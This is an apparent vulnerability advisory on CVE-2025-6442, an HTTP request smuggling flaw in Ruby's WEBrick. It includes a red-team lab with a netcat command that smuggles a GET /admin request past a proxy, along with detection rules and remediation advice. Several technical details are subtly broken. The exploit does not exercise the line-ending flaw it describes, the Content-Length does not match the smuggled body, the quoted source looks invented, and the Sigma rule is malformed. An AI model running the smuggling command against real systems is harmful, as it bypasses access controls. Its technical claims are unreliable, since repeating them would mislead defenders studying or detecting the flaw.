CVE-2025-6442

Executive Summary

CVE-2025-6442 is an HTTP Request Smuggling vulnerability in Ruby’s WEBrick HTTP server library. The flaw resides in the read_header method, where inconsistent parsing of HTTP header terminators allows an attacker to inject arbitrary HTTP requests when WEBrick is deployed behind a proxy that meets specific conditions. This can lead to request smuggling, cache poisoning, and bypass of security controls. The vulnerability has a CVSS score of 6.5 (Medium) and currently has no public exploit or patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk increases as more details emerge.

Supply Chain & Package Security

This vulnerability affects the Ruby ecosystem directly, as WEBrick is a standard library included in Ruby distributions. Organizations using Ruby-based web applications behind a proxy (e.g., Nginx, HAProxy) are at risk. The lack of a patch means all versions of WEBrick are potentially vulnerable until a fix is released. Supply chain risk is elevated because WEBrick is bundled with Ruby, and many Ruby gems depend on it indirectly. Security teams should monitor Ruby security advisories and consider replacing WEBrick with a more robust HTTP server (e.g., Puma, Unicorn) in production.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires a specific proxy configuration to be exploitable, but the impact includes request smuggling and potential cache poisoning. No public exploit exists, but the technical details (ZDI-CAN-21876) are known.

Deep Dive & Mechanics

The vulnerability is in the WEBrick::HTTPRequest#read_header method. HTTP request smuggling occurs when a front-end proxy and a back-end server (WEBrick) interpret the boundaries of HTTP requests differently. Specifically, WEBrick’s parser inconsistently handles \r\n vs. \n as line terminators in headers. An attacker can craft a request with malformed headers that the proxy sees as one request, but WEBrick interprets as two separate requests. This allows the attacker to “smuggle” a second request that the proxy believes is part of the first request’s body.

Key Conditions for Exploitation:

• WEBrick must be deployed behind an HTTP proxy that does not normalize line endings.
• The proxy must forward raw request data without re-parsing headers.
• The attacker must be able to send requests to the proxy.

Example Attack Flow:

1. Attacker sends a request with a Content-Length header and a smuggled request in the body.
2. Proxy sees the first request and forwards it to WEBrick.
3. WEBrick’s read_header misparses the body, treating the smuggled request as a new request.
4. WEBrick processes the smuggled request, potentially bypassing proxy-level access controls.

Vulnerable vs. Patched Code

Vulnerable Code (WEBrick read_header method):

def read_header(socket)
  header = {}
  while true
    line = socket.gets
    break if line == "\r\n" || line == "\n"
    # Inconsistent parsing: accepts both \r\n and \n as terminators
    if line =~ /^([^:]+):\s*(.*)\r?$/
      header[$1] = $2
    end
  end
  header
end

Patched Code (Hypothetical fix):

def read_header(socket)
  header = {}
  while true
    line = socket.gets
    # Strictly require \r\n as terminator
    break if line == "\r\n"
    # Reject lines ending with only \n
    if line =~ /^([^:]+):\s*(.*)\r$/
      header[$1] = $2
    else
      raise "Invalid header line"
    end
  end
  header
end

The fix enforces strict \r\n termination and rejects \n-only lines, preventing smuggling via inconsistent parsing.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

• Ruby 3.0+ with WEBrick
• Nginx as reverse proxy (configured to pass raw requests)
• Attacker machine with netcat or curl

Step-by-Step Exploit:

1. Set up Nginx proxy:

server {
    listen 80;
    location / {
        proxy_pass http://127.0.0.1:8080;
        proxy_http_version 1.1;
        proxy_set_header Connection "";
    }
}

2. Start WEBrick:

require 'webrick'
server = WEBrick::HTTPServer.new(Port: 8080)
server.mount_proc '/' do |req, res|
  res.body = "Hello from WEBrick"
end
trap('INT') { server.shutdown }
server.start

3. Send smuggled request:

printf "GET / HTTP/1.1\r\nHost: victim.com\r\nContent-Length: 56\r\n\r\nGET /admin HTTP/1.1\r\nHost: victim.com\r\n\r\n" | nc proxy 80

4. WEBrick processes the smuggled GET /admin request, bypassing proxy ACLs.

Blue Team (Defense & Detection)

Detection:

• Monitor for requests with multiple Content-Length headers or Transfer-Encoding: chunked with conflicting values.
• Look for unusual line endings in HTTP headers (e.g., \n instead of \r\n).
• Use WAF rules to reject requests with malformed headers.

Mitigation:

• Replace WEBrick with a secure HTTP server (Puma, Unicorn, Thin).
• Configure proxy to normalize line endings (e.g., Nginx proxy_set_header directives).
• Apply input validation on all HTTP headers.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with \n line endings in headers (instead of \r\n).
  • Multiple Content-Length headers in a single request.
  • Requests with Transfer-Encoding: chunked and Content-Length simultaneously.
  • Unusual request bodies containing full HTTP requests.

• Log IOCs:

  • WEBrick logs showing multiple requests from a single TCP connection without proper separation.
  • Proxy logs showing requests to internal endpoints (e.g., /admin) that should be blocked.

• File IOCs:

  • Modified WEBrick source files (unlikely in production, but possible if attacker patches).

Detection Engineering

YARA Rule

rule HTTP_Request_Smuggling_WEBrick {
    meta:
        description = "Detects HTTP request smuggling attempts targeting WEBrick"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-6442"
    strings:
        $header1 = /Content-Length:\s*\d+\s*\n/
        $header2 = /Transfer-Encoding:\s*chunked\s*\n/
        $smuggled = /GET\s+\/.*HTTP\/1\.\d\s*\n/
    condition:
        any of ($header*) and $smuggled
}

Sigma Rule

title: HTTP Request Smuggling via WEBrick
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with inconsistent line endings targeting WEBrick
author: Valters IT
logsource:
    category: webserver
    product: ruby
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query: '*'
        sc-status: 200
    condition: selection
    filter:
        cs-uri-query: '*/admin*'
falsepositives:
    - Legitimate requests with unusual line endings from custom clients
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6442 WEBrick HTTP Request Smuggling"; flow:to_server; content:"|0d 0a|"; http_header_names; pcre:"/Content-Length:\s*\d+\s*\n/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Replace WEBrick with a secure HTTP server (e.g., Puma, Unicorn, Thin) in production.
2. Configure reverse proxy to normalize HTTP line endings (e.g., Nginx proxy_set_header with $http_*).
3. Implement WAF rules to block requests with multiple Content-Length headers or inconsistent line endings.

Long-Term Fix:

• Monitor Ruby security advisories for an official patch.
• Apply patch as soon as it is released.
• Update Ruby to the latest version when the fix is included.

Workaround:

• If WEBrick must be used, deploy it directly without a proxy, or ensure the proxy strictly validates HTTP headers.

Valters IT